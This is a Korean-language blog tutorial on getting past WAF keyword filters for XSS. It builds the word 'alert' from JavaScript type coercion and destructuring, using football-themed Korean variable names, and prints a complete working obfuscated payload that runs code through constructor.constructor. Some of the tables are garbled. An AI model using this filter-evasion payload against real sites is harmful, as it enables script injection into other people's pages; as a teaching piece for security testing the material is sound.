Home XSS Filtering bypass with JSFuck
Post
Cancel

XSS Filtering bypass with JSFuck

XSS를 발견했지만 alert, confirm, prompt등 문자열이 WAF에서 필터링 되었을 때 JSFuck을 이용하여 이를 우회하는 방법을 알아봅시다.


What is JSFuck?

위키에 따르면 JavaScript 문법에서 사용되는 문자 중 단 6가지인 [,],(,),!,+ 만으로 구현할 수 있음에 착안하여 고안된 난해한 프로그래밍 스타일이라고 합니다.


Let’s Make Script

만드는 방법은 Hahuwl 님의 블로그를 참고했습니다.

Step 1. alert() 함수 문자열 만들기

완성해야될 스크립트는 constructor.constructor(‘alert(45)’)() 입니다. 해당 문구가 실행되는 원리는 하울님 블로그를 보시면 됩니다.

Step 2. Make Alphabet

자바스크립트는 기본으로 [],{}을 이용하여 변수에 문자를 저장할 수 있습니다. 우리가 필요한 문자는 a, c, e, l, n, o, r, s, t, u 입니다.

JS문법결과JS문법결과
[] + {}[obejct Object][a,b,c,d,e,f,g] = [] + {}[obejct Object]

위의 표대로 변수에 저장되면 다음과 같습니다.

JS문법결과JS문법결과JS문법결과JS문법결과
a[bocbdj
eefc    

Step 3. Repeat Step 1

Step 1에서 저장된 a를 찍어보면 [ 가 찍힙니다. 또한 이를 이용하여 다른 문자열을 만들어 낼 수 있습니다.

JS문법결과JS문법결과
a[!afalse
!!atruea.aundefined

[!a] + [!!a] + a.a = falsetrueunderfined 가 되고 이를 다시 변수로 저장시킵니다. 이로써 우리가 필요한 문자를 모두 얻을 수 있으며 이를 이용하여 수원 삼성이 잔류를 희망하는 부적을 만들 준비는 끝났습니다.



Make Script

사용문법JS문법결과JS문법결과JS문법결과JS문법결과
[,수,,,,원]=[] + {}oc    
[,수,,,,원]=[] + {},[,삼,성,블,루,윙,즈,잔류,,,가즈아] = [!수]+[!!원]+수.원,수원삼성=원+수+가즈아+블+윙+즈+잔류+원+윙+수+즈,블루윙즈=원+수+가즈아+블+윙+즈+잔류+원+윙+수+즈alse
 tr잔류u가즈아n
 수원삼성constructor블루윙즈constructor    
[,수,,,,원] = [] + {},[,삼,성,블,루,윙,즈,잔류,,,가즈아] = [!수]+[!!원]+수.원,수원삼성=원+수+가즈아+블+윙+즈+잔류+원+윙+수+즈,블루윙즈=원+수+가즈아+블+윙+즈+잔류+원+윙+수+즈,잔류가즈아 = 삼+성+루+즈+윙잔류가즈아alert      

해당 문구를 통해 완성된 페이로드는 아래와 같습니다.

([,수,,,,원] = [] + {},[,삼,성,블,루,윙,즈,잔류,,,가즈아] = [!수]+[!!원]+수.원,수원삼성=원+수+가즈아+블+윙+즈+잔류+원+윙+수+즈,블루윙즈=원+수+가즈아+블+윙+즈+잔류+원+윙+수+즈,잔류가즈아 = 삼+성+루+즈+윙)[수원삼성][블루윙즈](잔류가즈아+”(‘수원삼성잔류가즈아!!!!’)”)()


Code Test

수원삼성잔류가즈아!!!! 페이로드가 잘 동작하는 것을 확인할 수 있습니다. 해당 부적으로 마지막 10월22일 김천전을 이기고, FC서울이 져서 잔류를 확정 지었으면 좋겠습니다. 수원삼성잔류가즈아